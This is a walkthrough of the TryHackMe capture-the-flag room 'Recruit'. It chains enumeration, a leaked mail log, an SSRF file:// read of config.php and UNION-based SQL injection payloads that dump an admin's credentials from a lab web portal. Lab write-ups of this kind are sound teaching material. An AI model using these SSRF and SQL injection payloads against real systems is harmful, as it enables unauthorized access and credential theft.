TryHackMe Recruit: Medium difficulty

A walkthrough covering SSRF, information disclosure, and SQL injection

Introduction

Recruit is a TryHackMe room centred around a fictional recruitment web portal. It's a great room for practising a realistic web-application attack chain starting from open-source recon all the way through to database extraction. No single technique here is exotic; the value is in chaining them together logically.

In this writeup I'll walk through the full methodology: enumeration, exploitation, and privilege escalation within the web app, covering:

  • Service and directory enumeration
  • Server-Side Request Forgery (SSRF) with the file:// protocol
  • Error-based and UNION-based SQL Injection

Platform: TryHackMe Room: Recruit Difficulty: Medium

Enumeration

Port Scanning

The first step is always a thorough port scan. I ran a service scan followed by a full port scan to make sure nothing was hiding on non-standard ports.

nmap -sC -sV MACHINE-IP
nmap -p- -T4 MACHINE-IP

Both scans revealed the same three open ports:

Port Service Version 22 SSH OpenSSH 8.2p1 53 DNS ISC BIND 9.16.1 80 HTTP Apache 2.4.41 + PHP

Port 53 (DNS) immediately stood out — it's unusual to see DNS exposed on a CTF box unless it's intentional. I attempted a zone transfer after identifying the domain name, but it failed. I noted it and moved on.

Directory Brute-Forcing

With HTTP on port 80 confirmed, I ran Gobuster to find hidden endpoints:

gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

Key findings:

Endpoint Notes /api.php API documentation page /file.php CV retrieval service /config.php 200 OK but 0 bytes — PHP executing, no output /dashboard.php Redirects to login — auth required /mail/ Directory listing enabled /phpmyadmin Database admin panel /sitemap.xml Leaked the domain name

sitemap.xml — Domain Leak

Visiting /sitemap.xml revealed the application's real domain name: recruit.thm. I added this to my hosts file:

echo "MACHINE-IP recruit.thm" >> /etc/hosts

The sitemap also contained a revealing HTML comment:

<!-- Notes:
  - Some directories may contain internal documentation or logs.
  - Certain endpoints are intended for internal HR integrations.
-->

A hint to look carefully at those directories.

/mail/mail.log — Critical Information Disclosure

The /mail/ directory had listing enabled and contained a single file: mail.log. This turned out to be extremely valuable.

The log contained an internal email from the HR team to IT Support, sent during the portal's initial deployment. Key excerpts:

  • HR login username: hr
  • HR password was stored in config.php temporarily during rollout
  • Administrator credentials were confirmed to be stored in the database

This gave us a clear roadmap: read config.php to get the HR password, log in, then extract admin credentials from the database.

Exploitation

Vulnerability 1 — SSRF via file:// Protocol

The /api.php page documented the CV retrieval feature:

/file.php?cv=<URL>

The API fetches a file from a supplied URL and returns its contents — intended for retrieving candidate CVs from external sources. The page also noted: "Requests targeting restricted locations may be blocked."

The classic SSRF test is to supply http://127.0.0.1/ to probe internal services. But since our target is a local PHP file that executes server-side (and therefore returns no output over HTTP), we need to use the file:// protocol to read the raw source directly from disk:

curl "http://recruit.thm/file.php?cv=file:///var/www/html/config.php"

This bypassed any HTTP-based restrictions entirely and returned the raw PHP source of config.php:

$HR_PASSWORD = 'REDACTED';

Credentials obtained: hr:REDACTED

This is why the 0-byte response from config.php over HTTP wasn't the end of the road — the file executes as PHP normally, but SSRF via file:// reads it as raw text before PHP gets involved.

Flag 1

Logging in at http://recruit.thm/index.php with hr:REDACTED granted access to the dashboard, which displayed the first flag along with a table of candidates.

Vulnerability 2 — UNION-Based SQL Injection

The dashboard included a search bar for filtering candidates. Testing for SQL injection with a single quote revealed an unhandled MySQL error:

http://recruit.thm/dashboard.php?search=1'%23
SQL Error: You have an error in your SQL syntax...

Error-based SQLi confirmed. The application was passing user input directly into a MySQL query without sanitisation.

Note on comment syntax: Using -- without a trailing space caused encoding issues in the URL. Using -- - or URL-encoding # as %23 worked reliably.

Step 1 — Column Count

1' ORDER BY 4-- -   → OK
1' ORDER BY 5-- -   → Error

Four columns confirmed — matching the four visible columns in the candidate table (ID, Name, Position, Status).

Step 2 — Table Enumeration

Using search=0' ensures the original query returns no rows, so the UNION output appears cleanly:

0' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database()-- -

Two tables found: candidates and users.

Step 3 — Column Enumeration

0' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'-- -

Step 4 — Dump Credentials

0' UNION SELECT 1,username,password,4 FROM users-- -

Credentials obtained: admin:REDACTED

Flag 2

Logging in as admin revealed the second and final flag on the dashboard.

Attack Chain Summary

Nmap → ports 22, 53, 80
  ↓
Gobuster + sitemap.xml → domain recruit.thm + key endpoints
  ↓
/mail/mail.log → hr username + creds stored in config.php
  ↓
SSRF via file.php?cv=file:// → raw config.php → hr:REDACTED
  ↓
Login as hr → Dashboard → Flag 1
  ↓
UNION SQLi on search → dump users table → admin:REDACTED
  ↓
Login as admin → Flag 2

Key Takeaways

1. Always check sitemap.xml and robots.txt early. These files are often overlooked but can leak domain names, endpoint lists, and developer comments — as they did here.

2. Directory listing is an instant win. The exposed /mail/ directory provided the entire credential roadmap without any exploitation needed.

3. SSRF with file:// reads local files as raw text. When a PHP file returns 0 bytes over HTTP (because it only defines variables and outputs nothing), SSRF via file:// bypasses execution entirely and returns the raw source. Always try this when you find an SSRF primitive.

4. Use search=0' for clean UNION output. A zero value ensures the original query returns no rows, so your injected UNION result is the only output — much easier to read.

5. Comment terminator encoding matters. -- (with trailing space) is the correct MySQL inline comment. In URLs, use -- - or %23 (#) to avoid encoding issues swallowing your comment.

Tools Used

Tool Purpose nmap Port and service scanning gobuster Directory brute-forcing curl Manual HTTP requests and SSRF testing Browser Visual navigation and login

Thanks for reading! If you found this helpful, feel free to follow for more TryHackMe writeups.